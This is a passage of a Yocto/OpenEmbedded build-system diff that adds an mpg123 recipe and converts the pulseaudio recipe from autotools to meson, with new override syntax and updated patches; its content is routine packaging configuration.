-#| {standard input}:48: Error: shifts in CMP/MOV instructions are only supported in unified syntax -- `mov r5,r5,lsr#24'
-#...
-#| make[3]: *** [equalizer.lo] Error 1
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
diff --git a/meta/recipes-multimedia/mpg123/mpg123_1.29.3.bb b/meta/recipes-multimedia/mpg123/mpg123_1.29.3.bb
new file mode 100644
index 0000000000..0baa7aa4a1
--- /dev/null
+++ b/meta/recipes-multimedia/mpg123/mpg123_1.29.3.bb
@@ -0,0 +1,52 @@
+SUMMARY = "Audio decoder for MPEG-1 Layer 1/2/3"
+DESCRIPTION = "The core of mpg123 is an MPEG-1 Layer 1/2/3 decoding library, which can be used by other programs. \
+mpg123 also comes with a command-line tool which can playback using ALSA, PulseAudio, OSS, and several other APIs, \
+and also can write the decoded audio to WAV."
+HOMEPAGE = "http://mpg123.de/"
+BUGTRACKER = "http://sourceforge.net/p/mpg123/bugs/"
+SECTION = "multimedia"
+
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=e7b9c15fcfb986abb4cc5e8400a24169"
+
+SRC_URI = "https://www.mpg123.de/download/${BP}.tar.bz2"
+SRC_URI[sha256sum] = "963885d8cc77262f28b77187c7d189e32195e64244de2530b798ddf32183e847"
+
+UPSTREAM_CHECK_REGEX = "mpg123-(?P<pver>\d+(\.\d+)+)\.tar"
+
+inherit autotools pkgconfig
+
+# The options should be mutually exclusive for configuration script.
+# If both alsa and pulseaudio are specified (as in the default distro features)
+# pulseaudio takes precedence.
+PACKAGECONFIG_ALSA = "${@bb.utils.filter('DISTRO_FEATURES', 'alsa', d)}"
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'pulseaudio', 'pulseaudio', '${PACKAGECONFIG_ALSA}', d)}"
+
+PACKAGECONFIG[alsa] = "--with-default-audio=alsa,,alsa-lib"
+PACKAGECONFIG[esd] = ",,esound"
+PACKAGECONFIG[jack] = ",,jack"
+PACKAGECONFIG[openal] = ",,openal-soft"
+PACKAGECONFIG[portaudio] = ",,portaudio-v19"
+PACKAGECONFIG[pulseaudio] = "--with-default-audio=pulse,,pulseaudio"
+PACKAGECONFIG[sdl] = ",,libsdl2"
+
+# Following are possible sound output modules:
+# alsa arts coreaudio dummy esd jack nas openal os2 oss portaudio pulse sdl sndio sun tinyalsa win32 win32_wasapi
+AUDIOMODS += "${@bb.utils.filter('PACKAGECONFIG', 'alsa esd jack openal portaudio sdl', d)}"
+AUDIOMODS += "${@bb.utils.contains('PACKAGECONFIG', 'pulseaudio', 'pulse', '', d)}"
+
+EXTRA_OECONF = " \
+ --enable-shared \
+ --with-audio='${AUDIOMODS}' \
+ ${@bb.utils.contains('TUNE_FEATURES', 'neon', '--with-cpu=neon', '', d)} \
+ ${@bb.utils.contains('TUNE_FEATURES', 'altivec', '--with-cpu=altivec', '', d)} \
+ ${@bb.utils.contains('TARGET_FPU', 'soft', '--with-cpu=generic_nofpu', '', d)} \
+"
+# Fails to build with thumb-1 (qemuarm)
+#| {standard input}: Assembler messages:
+#| {standard input}:47: Error: selected processor does not support Thumb mode `smull r5,r6,r7,r4'
+#| {standard input}:48: Error: shifts in CMP/MOV instructions are only supported in unified syntax -- `mov r5,r5,lsr#24'
+#...
+#| make[3]: *** [equalizer.lo] Error 1
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio.inc b/meta/recipes-multimedia/pulseaudio/pulseaudio.inc
index ec51d8b279..a69dd32bd7 100644
--- a/meta/recipes-multimedia/pulseaudio/pulseaudio.inc
+++ b/meta/recipes-multimedia/pulseaudio/pulseaudio.inc
@@ -1,9 +1,12 @@
SUMMARY = "Sound server for Linux and Unix-like operating systems"
+DESCRIPTION = "A general purpose sound server intended to run as a middleware \
+between your applications and your hardware devices, either using ALSA or OSS."
HOMEPAGE = "http://www.pulseaudio.org"
AUTHOR = "Lennart Poettering"
SECTION = "libs/multimedia"
-# Most of PulseAudio code is under LGPLv2.1+. There are a few exceptions:
+# Most of PulseAudio code is under LGPL-2.1-or-later. There are a few
+# exceptions:
#
# The "adrian" echo canceller variant has code under a non-standard permissive
# license. See src/modules/echo-cancel/adrian-license.txt for details. This
@@ -37,12 +40,13 @@ SECTION = "libs/multimedia"
# The dependency with the most complicated licensing considerations is libdbus.
# When PACKAGECONFIG[dbus] is enabled (like it is by default), libdbus will be
# used by both the server and the client library (libpulse). Does this affect
-# applications that use libpulse? It should be also noted that libdbus is
-# dual-licensed: either GPLv2+ or AFL-2 terms apply. Whose decision is it which
-# of the licenses apply? What a mess. Some people hold the view that libdbus is
-# a system library that is covered by the "special exception" in GPLv2's
-# section 3, and therefore libdbus's GPL license doesn't affect PulseAudio.
-LICENSE = "LGPLv2.1+ & MIT & BSD-3-Clause"
+# applications that use libpulse? It should also be noted that libdbus is
+# dual-licensed: either GPL-2.0-or-later or AFL-2.0 terms apply. Whose decision
+# is it which of the licenses apply? What a mess. Some people hold the view that
+# libdbus is a system library that is covered by the "special exception" in
+# GPLv2's section 3, and therefore libdbus's GPL license doesn't affect
+# PulseAudio.
+LICENSE = "LGPL-2.1-or-later & MIT & BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=0e5cd938de1a7a53ea5adac38cc10c39 \
file://GPL;md5=4325afd396febcb659c36b49533135d4 \
@@ -56,47 +60,47 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=0e5cd938de1a7a53ea5adac38cc10c39 \
file://src/pulsecore/filter/biquad.h;beginline=1;endline=4;md5=6d46d1365206528a20137355924233c1 \
"
-DEPENDS = "libatomic-ops libsndfile1 libtool intltool-native"
+# libtool is needed for libltdl, used in module loading.
+DEPENDS = "libatomic-ops libsndfile1 libtool"
# optional
DEPENDS += "udev alsa-lib glib-2.0"
DEPENDS += "speexdsp libxml-parser-perl-native libcap"
-inherit autotools bash-completion pkgconfig useradd gettext perlnative systemd manpages gsettings
+inherit bash-completion meson pkgconfig useradd gettext perlnative systemd manpages gsettings
# *.desktop rules wont be generated during configure and build will fail
# if using --disable-nls
USE_NLS = "yes"
-EXTRA_OECONF = "\
- --disable-hal-compat \
- --disable-orc \
- --enable-tcpwrap=no \
- --with-access-group=audio \
- --disable-openssl \
- --with-database=simple \
- --without-zsh-completion-dir \
- --with-udev-rules-dir=`pkg-config --variable=udevdir udev`/rules.d \
- ac_cv_header_valgrind_memcheck_h=no \
- --disable-tests \
- --disable-running-from-build-tree \
+EXTRA_OEMESON = "\
+ -Dhal-compat=false \
+ -Dorc=disabled \
+ -Daccess_group=audio \
+ -Dopenssl=disabled \
+ -Ddatabase=simple \
+ -Dzshcompletiondir=no \
+ -Dudevrulesdir=`pkg-config --variable=udevdir udev`/rules.d \
+ -Dvalgrind=disabled \
+ -Dtests=false \
+ -Drunning-from-build-tree=false \
"
# soxr (the SoX Resampler library) doesn't seem to be currently packaged in
# oe-core nor meta-oe, so let's not add a PACKAGECONFIG entry for it for now.
-EXTRA_OECONF += "--without-soxr"
+EXTRA_OEMESON += "-Dsoxr=disabled"
# The FFTW dependency (for module-equalizer-sink) was removed in commit
# ddbd713293 without explaining why it was not made a PACKAGECONFIG item
# instead. Oh well, let's keep it disabled until someone expresses some
# interest in having it enabled.
-EXTRA_OECONF += "--without-fftw"
+EXTRA_OEMESON += "-Dfftw=disabled"
# The "adrian" echo canceller implementation has a non-standard license
# (src/modules/echo-cancel/adrian-license.txt). It's a permissive license, so
# the licensing terms are probably not problematic, but it would be an extra
# hassle to add the license to OE-Core's set of licenses. The canceller isn't
# very good anyway, better alternatives exist (such as the webrtc canceller).
-EXTRA_OECONF += "--disable-adrian-aec"
+EXTRA_OEMESON += "-Dadrian-aec=false"
PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez5', '', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'zeroconf', 'avahi', '', d)} \
@@ -105,35 +109,25 @@ PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez5'
dbus gsettings \
"
-PACKAGECONFIG[dbus] = "--enable-dbus,--disable-dbus,dbus"
-PACKAGECONFIG[bluez5] = "--enable-bluez5,--disable-bluez5,bluez5 sbc"
-PACKAGECONFIG[gconf] = "--enable-gconf,--disable-gconf,gconf"
-PACKAGECONFIG[gsettings] = "--enable-gsettings,--disable-gsettings,glib-2.0-native glib-2.0"
-PACKAGECONFIG[ofono] = "--enable-bluez5-ofono-headset,--disable-bluez5-ofono-headset,ofono"
-PACKAGECONFIG[gtk] = "--enable-gtk3,--disable-gtk3,gtk+3"
-PACKAGECONFIG[systemd] = "--enable-systemd-daemon --enable-systemd-login --enable-systemd-journal --with-systemduserunitdir=${systemd_user_unitdir},--disable-systemd-daemon --disable-systemd-login --disable-systemd-journal,systemd"
-PACKAGECONFIG[x11] = "--enable-x11,--disable-x11,virtual/libx11 libxtst libice libsm libxcb"
-PACKAGECONFIG[avahi] = "--enable-avahi,--disable-avahi,avahi"
-PACKAGECONFIG[jack] = "--enable-jack,--disable-jack,jack"
+PACKAGECONFIG[dbus] = "-Ddbus=enabled,-Ddbus=disabled,dbus"
+PACKAGECONFIG[bluez5] = "-Dbluez5=enabled,-Dbluez5=disabled,bluez5 sbc"
+PACKAGECONFIG[gsettings] = "-Dgsettings=enabled,-Dgsettings=disabled,glib-2.0-native glib-2.0"
+PACKAGECONFIG[ofono] = "-Dbluez5-ofono-headset=true,-Dbluez5-ofono-headset=false,ofono"
+PACKAGECONFIG[gtk] = "-Dgtk=enabled,-Dgtk=disabled,gtk+3"
+PACKAGECONFIG[systemd] = "-Dsystemd=enabled -Dsystemduserunitdir=${systemd_user_unitdir},-Dsystemd=disabled,systemd"
+PACKAGECONFIG[x11] = "-Dx11=enabled,-Dx11=disabled,virtual/libx11 libxtst libice libsm libxcb"
+PACKAGECONFIG[avahi] = "-Davahi=enabled,-Davahi=disabled,avahi"
+PACKAGECONFIG[jack] = "-Djack=enabled,-Djack=disabled,jack"
# Since many embedded systems don't have non-root users, it's useful to be
# able to use pulseaudio autospawn for root as well.
PACKAGECONFIG[autospawn-for-root] = ",,,"
-PACKAGECONFIG[lirc] = "--enable-lirc,--disable-lirc,lirc"
-PACKAGECONFIG[webrtc] = "--enable-webrtc-aec,--disable-webrtc-aec,webrtc-audio-processing"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-PACKAGECONFIG[manpages] = "--enable-manpages, --disable-manpages, "
-
-EXTRA_OECONF_append_arm = "${@bb.utils.contains("TUNE_FEATURES", "neon", "", " --enable-neon-opt=no", d)}"
-EXTRA_OECONF_append_armeb = "${@bb.utils.contains("TUNE_FEATURES", "neon", "", " --enable-neon-opt=no", d)}"
-
+PACKAGECONFIG[lirc] = "-Dlirc=enabled,-Dlirc=disabled,lirc"
+PACKAGECONFIG[webrtc] = "-Dwebrtc-aec=enabled,-Dwebrtc-aec=disabled,webrtc-audio-processing"
+PACKAGECONFIG[ipv6] = "-Dipv6=true,-Dipv6=false,"
+PACKAGECONFIG[manpages] = "-Dman=true,-Dman=false,"
export TARGET_PFPU = "${TARGET_FPU}"
-# TODO: Use more fine granular version
-#OE_LT_RPATH_ALLOW=":${libdir}/pulse-0.9:"
-OE_LT_RPATH_ALLOW = "any"
-OE_LT_RPATH_ALLOW[export]="1"
-
set_cfg_value () {
sed -i -e "s/\(; *\)\?$2 =.*/$2 = $3/" "$1"
if ! grep -q "^$2 = $3\$" "$1"; then
@@ -141,80 +135,100 @@ set_cfg_value () {
fi
}
-do_compile_append () {
+do_compile:append () {
if ${@bb.utils.contains('PACKAGECONFIG', 'autospawn-for-root', 'true', 'false', d)}; then
- set_cfg_value src/client.conf allow-autospawn-for-root yes
+ set_cfg_value src/pulse/client.conf allow-autospawn-for-root yes
fi
}
-do_install_append() {
+do_install:append() {
install -d ${D}${sysconfdir}/default/volatiles
- install -m 0644 ${WORKDIR}/volatiles.04_pulse ${D}${sysconfdir}/default/volatiles/volatiles.04_pulse
+ install -m 0644 ${WORKDIR}/volatiles.04_pulse ${D}${sysconfdir}/default/volatiles/04_pulse
}
USERADD_PACKAGES = "pulseaudio-server"
-GROUPADD_PARAM_pulseaudio-server = "--system pulse"
-USERADD_PARAM_pulseaudio-server = "--system --home /var/run/pulse \
+GROUPADD_PARAM:pulseaudio-server = "--system pulse"
+USERADD_PARAM:pulseaudio-server = "--system --home /var/run/pulse \
--no-create-home --shell /bin/false \
--groups audio,pulse --gid pulse pulse"
+PACKAGES =+ "\
+ libpulse \
+ libpulse-mainloop-glib \
+ libpulse-simple \
+ libpulsecommon \
+ libpulsecore \
+ ${PN}-pa-info \
+ ${PN}-server \
+ ${PN}-misc \
+ "
+
# The console-kit module is included here explicitly so bitbake can map to the
# RDEPENDS we define for it in this recipe, and thereby ensure that when
# adding the console-kit module to an image, we also get the necessary
# consolekit package produced.
-PACKAGES =+ "libpulsecore libpulsecommon libpulse libpulse-simple libpulse-mainloop-glib \
- pulseaudio-server pulseaudio-misc ${@bb.utils.contains('PACKAGECONFIG', 'dbus', 'pulseaudio-module-console-kit', '', d)}"
+PACKAGES =+ "${@bb.utils.contains('PACKAGECONFIG', 'dbus', 'pulseaudio-module-console-kit', '', d)}"
#upgrade path:
-RREPLACES_pulseaudio-server = "libpulse-bin libpulse-conf"
+RREPLACES:pulseaudio-server = "libpulse-bin libpulse-conf"
PACKAGES_DYNAMIC += "^pulseaudio-lib-.* ^pulseaudio-module-.*"
-FILES_libpulsecore = "${libdir}/pulseaudio/libpulsecore*.so"
-FILES_libpulsecommon = "${libdir}/pulseaudio/libpulsecommon*.so"
+FILES:libpulsecore = "${libdir}/pulseaudio/libpulsecore*.so"
+FILES:libpulsecommon = "${libdir}/pulseaudio/libpulsecommon*.so"
# client.conf configures the behaviour of libpulse, so it belongs in the same
# package.
-FILES_libpulse = "${libdir}/libpulse.so.* ${sysconfdir}/pulse/client.conf"
+FILES:libpulse = "${libdir}/libpulse.so.* ${sysconfdir}/pulse/client.conf"
-FILES_libpulse-simple = "${libdir}/libpulse-simple.so.*"
-FILES_libpulse-mainloop-glib = "${libdir}/libpulse-mainloop-glib.so.*"
+FILES:libpulse-simple = "${libdir}/libpulse-simple.so.*"
+FILES:libpulse-mainloop-glib = "${libdir}/libpulse-mainloop-glib.so.*"
-FILES_${PN}-dev += "${libdir}/pulse-${PV}/modules/*.la ${datadir}/vala ${libdir}/cmake"
-FILES_${PN}-conf = "${sysconfdir}"
-FILES_${PN}-bin += "${sysconfdir}/default/volatiles/volatiles.04_pulse"
-FILES_${PN}-server = "${bindir}/pulseaudio ${bindir}/start-* ${sysconfdir} ${bindir}/pactl */udev/rules.d/*.rules */*/udev/rules.d/*.rules ${systemd_user_unitdir}/*"
+FILES:${PN}-dev += "${libdir}/pulse-${PV}/modules/*.la ${datadir}/vala"
+FILES:${PN}-bin += "${sysconfdir}/default/volatiles/04_pulse"
+FILES:${PN}-pa-info = "${bindir}/pa-info"
+FILES:${PN}-server = "${bindir}/pulseaudio ${bindir}/start-* ${sysconfdir} ${bindir}/pactl */udev/rules.d/*.rules */*/udev/rules.d/*.rules ${systemd_user_unitdir}/*"
#SYSTEMD_PACKAGES = "${PN}-server"
-SYSTEMD_SERVICE_${PN}-server = "pulseaudio.service"
+SYSTEMD_SERVICE:${PN}-server = "pulseaudio.service"
-FILES_${PN}-misc = "${bindir}/* ${libdir}/pulseaudio/libpulsedsp.so"
+FILES:${PN}-misc = "${bindir}/* ${libdir}/pulseaudio/libpulsedsp.so"
# Allow the pulseaudio package to be created empty as a placeholder (-dbg and -dev depend on it)
-FILES_${PN} = ""
-ALLOW_EMPTY_${PN} = "1"
+FILES:${PN} = ""
+ALLOW_EMPTY:${PN} = "1"
-CONFFILES_libpulse = "${sysconfdir}/pulse/client.conf"
+CONFFILES:libpulse = "${sysconfdir}/pulse/client.conf"
-CONFFILES_pulseaudio-server = "\
+CONFFILES:pulseaudio-server = "\
${sysconfdir}/pulse/default.pa \
${sysconfdir}/pulse/daemon.conf \
${sysconfdir}/pulse/system.pa \
"
-pkg_postinst_${PN}-server() {
+pkg_postinst:${PN}-server() {
if [ -z "$D" ] && [ -e ${sysconfdir}/init.d/populate-volatile.sh ] ; then
${sysconfdir}/init.d/populate-volatile.sh update
fi
}
-python populate_packages_prepend() {
+python populate_packages:prepend() {
plugindir = d.expand('${libdir}/pulse-${PV}/modules/')
do_split_packages(d, plugindir, r'^module-(.*)\.so$', '${PN}-module-%s', 'PulseAudio module for %s', extra_depends='', prepend=True)
do_split_packages(d, plugindir, r'^lib(.*)\.so$', '${PN}-lib-%s', 'PulseAudio library for %s', extra_depends='', prepend=True)
}
-RDEPENDS_pulseaudio-server = " \
+# pa-info is a bash script that collects information about the audio setup.
+# It's primarily useful for attaching an information dump when reporting bugs.
+RDEPENDS:${PN}-pa-info = "\
+ alsa-utils-amixer \
+ alsa-utils-aplay \
+ alsa-utils-scripts \
+ bash \
+ ${PN}-server \
+ "
+
+RDEPENDS:pulseaudio-server = " \
pulseaudio-module-filter-apply \
pulseaudio-module-filter-heuristics \
pulseaudio-module-udev-detect \
@@ -240,24 +254,23 @@ RDEPENDS_pulseaudio-server = " \
# If the server is installed, it's usually desirable to make ALSA applications
# use PulseAudio. alsa-plugins-pulseaudio-conf will install the configuration
# that makes the PulseAudio plugin the default ALSA device.
-RDEPENDS_pulseaudio-server += "alsa-plugins-pulseaudio-conf"
+RDEPENDS:pulseaudio-server += "alsa-plugins-pulseaudio-conf"
# pulseaudio-module-console-kit is built whenever dbus is enabled by PACKAGECONFIG
# but consolekit depends on libx11 and is available only for DISTRO with x11 in DISTRO_FEATURES
-RDEPENDS_pulseaudio-module-console-kit =+ "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'consolekit', '', d)}"
-RDEPENDS_pulseaudio-misc += "pulseaudio-module-cli-protocol-unix"
+RDEPENDS:pulseaudio-module-console-kit =+ "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'consolekit', '', d)}"
+RDEPENDS:pulseaudio-misc += "pulseaudio-module-cli-protocol-unix"
-FILES_${PN}-module-alsa-card += "${datadir}/pulseaudio/alsa-mixer"
-FILES_${PN}-module-gconf += "${libexecdir}/pulse/gconf-helper"
+FILES:${PN}-module-alsa-card += "${datadir}/pulseaudio/alsa-mixer"
GSETTINGS_PACKAGE = "${@bb.utils.contains('PACKAGECONFIG', 'gsettings', '${PN}-module-gsettings', '', d)}"
-FILES_${PN}-module-gsettings += "${libexecdir}/pulse/gsettings-helper ${datadir}/GConf/gsettings ${datadir}/glib-2.0/schemas"
+FILES:${PN}-module-gsettings += "${libexecdir}/pulse/gsettings-helper ${datadir}/GConf/gsettings ${datadir}/glib-2.0/schemas"
# The console-kit module is good to have on X11 systems (it keeps PulseAudio
# running for the duration of the user login session). The device-manager and
# x11-* modules are referenced from the start-pulseaudio-x11 script, so those
# modules must be installed when X11 is enabled.
-RDEPENDS_pulseaudio-server += "\
+RDEPENDS:pulseaudio-server += "\
${@bb.utils.contains('DISTRO_FEATURES', 'x11', '\
pulseaudio-module-device-manager \
pulseaudio-module-x11-cork-request \
@@ -265,6 +278,6 @@ RDEPENDS_pulseaudio-server += "\
pulseaudio-module-x11-xsmp \
', '', d)}"
-RDEPENDS_pulseaudio-server += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', \
+RDEPENDS:pulseaudio-server += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', \
bb.utils.contains('DISTRO_FEATURES', 'systemd', 'pulseaudio-module-systemd-login', 'pulseaudio-module-console-kit', d), \
'', d)}"
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-alsa-Fix-inclusion-of-use-case.h.patch b/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-alsa-Fix-inclusion-of-use-case.h.patch
deleted file mode 100644
index 15026a2f83..0000000000
--- a/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-alsa-Fix-inclusion-of-use-case.h.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From b89d33bb182c42db5ad3987b0e91b7bf62f421e8 Mon Sep 17 00:00:00 2001
-From: Takashi Iwai <tiwai@suse.de>
-Date: Sun, 21 Apr 2019 11:59:30 +0200
-Subject: [PATCH] alsa: Fix inclusion of use-case.h
-
-The recent change in ALSA upstream stripped -I$include/alsa path from
-pkgconfig. We already fixed for this change in some places but still
-the code for UCM was overlooked, and this resulted in the unresolved
-symbols in alsa card module. Fix them as well.
-
-Signed-off-by: Takashi Iwai <tiwai@suse.de>
-Upstream-Status: Backport
----
- configure.ac | 2 +-
- src/modules/alsa/alsa-ucm.h | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index c004bd70d..b44ed1595 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -826,7 +826,7 @@ AS_IF([test "x$enable_alsa" = "xyes" && test "x$HAVE_ALSA" = "x0"],
- AS_IF([test "x$HAVE_ALSA" = "x1"],
- [
- save_CPPFLAGS="$CPPFLAGS"; CPPFLAGS="$CPPFLAGS $ASOUNDLIB_CFLAGS"
-- AC_CHECK_HEADERS([use-case.h], HAVE_ALSA_UCM=1, HAVE_ALSA_UCM=0)
-+ AC_CHECK_HEADERS([alsa/use-case.h], HAVE_ALSA_UCM=1, HAVE_ALSA_UCM=0)
- CPPFLAGS="$save_CPPFLAGS"
- ],
- HAVE_ALSA_UCM=0)
-diff --git a/src/modules/alsa/alsa-ucm.h b/src/modules/alsa/alsa-ucm.h
-index 53abf3f90..c926f3cc3 100644
---- a/src/modules/alsa/alsa-ucm.h
-+++ b/src/modules/alsa/alsa-ucm.h
-@@ -23,7 +23,7 @@
- ***/
-
- #ifdef HAVE_ALSA_UCM
--#include <use-case.h>
-+#include <alsa/use-case.h>
- #else
- typedef void snd_use_case_mgr_t;
- #endif
---
-2.21.0
-
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-doxygen-meson.build-remove-dependency-on-doxygen-bin.patch b/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-doxygen-meson.build-remove-dependency-on-doxygen-bin.patch
new file mode 100644
index 0000000000..b1a43bd7f0
--- /dev/null
+++ b/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-doxygen-meson.build-remove-dependency-on-doxygen-bin.patch
@@ -0,0 +1,26 @@
+From 4ee244d0824e772ab35abb0f9df5e8088e16fc5d Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 26 Apr 2021 19:30:40 +0200
+Subject: [PATCH] doxygen/meson.build: remove dependency on doxygen binary
+
+New meson refuses to complete confuguration if doxygen is absent
+even if this target is never actually run. As we never run it,
+let's remove it, until upstream and/or meson figure out that it's
+optional and should be treated as such.
+
+Upstream-Status: Inappropriate [needs proper upstream fix]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ doxygen/meson.build | 2 --
+ 1 file changed, 2 deletions(-)
+
+diff --git a/doxygen/meson.build b/doxygen/meson.build
+index afc0e49..df55c83 100644
+--- a/doxygen/meson.build
++++ b/doxygen/meson.build
+@@ -6,5 +6,3 @@ doxygen_conf = configure_file(
+ configuration : cdata,
+ )
+
+-run_target('doxygen',
+- command : ['doxygen', doxygen_conf])
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-introduce-a-special-build-flag-to-explicitly-disable.patch b/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-introduce-a-special-build-flag-to-explicitly-disable.patch
deleted file mode 100644
index b7e9cd8c5c..0000000000
--- a/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-introduce-a-special-build-flag-to-explicitly-disable.patch
+++ /dev/null
@@ -1,161 +0,0 @@
-From 36feb98e568221e24286615730888d5f6ff323f0 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Fri, 7 Dec 2018 15:12:38 +0800
-Subject: [PATCH] introduce a special build flag to explicitly disables running
- from build tree
-
-It is helpful to improve reproducibility build [1] since
-PA_SRCDIR/PA_BUILDDIR contains build path, disable running
-from build tree could drop these macros at precompilation.
-
-[1] https://reproducible-builds.org/
-
-Upstream-Status: Submitted [pulseaudio-discuss@lists.freedesktop.org]
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Acked-by: Tanu Kaskinen <tanuk@iki.fi>
----
- configure.ac | 10 ++++++++++
- src/daemon/daemon-conf.c | 4 +++-
- src/daemon/main.c | 6 ++++++
- src/modules/alsa/alsa-mixer.c | 4 ++++
- src/modules/gconf/module-gconf.c | 2 +-
- src/modules/gsettings/module-gsettings.c | 2 +-
- src/pulsecore/core-util.c | 4 +++-
- 7 files changed, 28 insertions(+), 4 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index c9c414f..8b345ef 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -998,6 +998,16 @@ AS_IF([test "x$enable_asyncns" = "xyes" && test "x$HAVE_LIBASYNCNS" = "x0"],
- AM_CONDITIONAL([HAVE_LIBASYNCNS], [test "x$HAVE_LIBASYNCNS" = x1])
- AS_IF([test "x$HAVE_LIBASYNCNS" = "x1"], AC_DEFINE([HAVE_LIBASYNCNS], 1, [Have libasyncns?]))
-
-+#### Running from build tree (optional) ####
-+
-+AC_ARG_ENABLE([running-from-build-tree],
-+ AS_HELP_STRING([--disable-running-from-build-tree],[Disable running from build tree]))
-+
-+AS_IF([test "x$enable_running_from_build_tree" != "xno"],
-+ AC_DEFINE([HAVE_RUNNING_FROM_BUILD_TREE], 1, [Have running from build tree]))
-+
-+AC_SUBST(HAVE_RUNNING_FROM_BUILD_TREE)
-+
- #### TCP wrappers (optional) ####
-
- AC_ARG_ENABLE([tcpwrap],
-diff --git a/src/daemon/daemon-conf.c b/src/daemon/daemon-conf.c
-index 9883126..f01eff4 100644
---- a/src/daemon/daemon-conf.c
-+++ b/src/daemon/daemon-conf.c
-@@ -155,12 +155,14 @@ pa_daemon_conf *pa_daemon_conf_new(void) {
- c->dl_search_path = pa_sprintf_malloc("%s" PA_PATH_SEP "lib" PA_PATH_SEP "pulse-%d.%d" PA_PATH_SEP "modules",
- pa_win32_get_toplevel(NULL), PA_MAJOR, PA_MINOR);
- #else
-+#ifdef HAVE_RUNNING_FROM_BUILD_TREE
- if (pa_run_from_build_tree()) {
- pa_log_notice("Detected that we are run from the build tree, fixing search path.");
- c->dl_search_path = pa_xstrdup(PA_BUILDDIR);
- } else
-- c->dl_search_path = pa_xstrdup(PA_DLSEARCHPATH);
- #endif
-+ c->dl_search_path = pa_xstrdup(PA_DLSEARCHPATH);
-+#endif //Endof #ifdef OS_IS_WIN32
-
- return c;
- }
-diff --git a/src/daemon/main.c b/src/daemon/main.c
-index c80fa94..1e00388 100644
---- a/src/daemon/main.c
-+++ b/src/daemon/main.c
-@@ -932,6 +932,12 @@ int main(int argc, char *argv[]) {
-
- pa_log_debug("Running in VM: %s", pa_yes_no(pa_running_in_vm()));
-
-+#ifdef HAVE_RUNNING_FROM_BUILD_TREE
-+ pa_log_debug("Running from build tree: %s", pa_yes_no(pa_run_from_build_tree()));
-+#else
-+ pa_log_debug("Running from build tree: no");
-+#endif
-+
- #ifdef __OPTIMIZE__
- pa_log_debug("Optimized build: yes");
- #else
-diff --git a/src/modules/alsa/alsa-mixer.c b/src/modules/alsa/alsa-mixer.c
-index a524d6d..670f646 100644
---- a/src/modules/alsa/alsa-mixer.c
-+++ b/src/modules/alsa/alsa-mixer.c
-@@ -2571,9 +2571,11 @@ static int path_verify(pa_alsa_path *p) {
- }
-
- static const char *get_default_paths_dir(void) {
-+#ifdef HAVE_RUNNING_FROM_BUILD_TREE
- if (pa_run_from_build_tree())
- return PA_SRCDIR "/modules/alsa/mixer/paths/";
- else
-+#endif
- return PA_ALSA_PATHS_DIR;
- }
-
-@@ -4455,7 +4457,9 @@ pa_alsa_profile_set* pa_alsa_profile_set_new(const char *fname, const pa_channel
- fname = "default.conf";
-
- fn = pa_maybe_prefix_path(fname,
-+#ifdef HAVE_RUNNING_FROM_BUILD_TREE
- pa_run_from_build_tree() ? PA_SRCDIR "/modules/alsa/mixer/profile-sets/" :
-+#endif
- PA_ALSA_PROFILE_SETS_DIR);
-
- r = pa_config_parse(fn, NULL, items, NULL, false, ps);
-diff --git a/src/modules/gconf/module-gconf.c b/src/modules/gconf/module-gconf.c
-index c0f4dde..76a1f19 100644
---- a/src/modules/gconf/module-gconf.c
-+++ b/src/modules/gconf/module-gconf.c
-@@ -51,7 +51,7 @@ int pa__init(pa_module*m) {
- u->buf_fill = 0;
-
- if ((u->fd = pa_start_child_for_read(
--#if defined(__linux__) && !defined(__OPTIMIZE__)
-+#if defined(__linux__) && defined(HAVE_RUNNING_FROM_BUILD_TREE)
- pa_run_from_build_tree() ? PA_BUILDDIR "/gconf-helper" :
- #endif
- PA_GCONF_HELPER, NULL, &u->pid)) < 0)
-diff --git a/src/modules/gsettings/module-gsettings.c b/src/modules/gsettings/module-gsettings.c
-index 330eca1..209c857 100644
---- a/src/modules/gsettings/module-gsettings.c
-+++ b/src/modules/gsettings/module-gsettings.c
-@@ -51,7 +51,7 @@ int pa__init(pa_module*m) {
- u->buf_fill = 0;
-
- if ((u->fd = pa_start_child_for_read(
--#if defined(__linux__) && !defined(__OPTIMIZE__)
-+#if defined(__linux__) && defined(HAVE_RUNNING_FROM_BUILD_TREE)
- pa_run_from_build_tree() ? PA_BUILDDIR "/gsettings-helper" :
- #endif
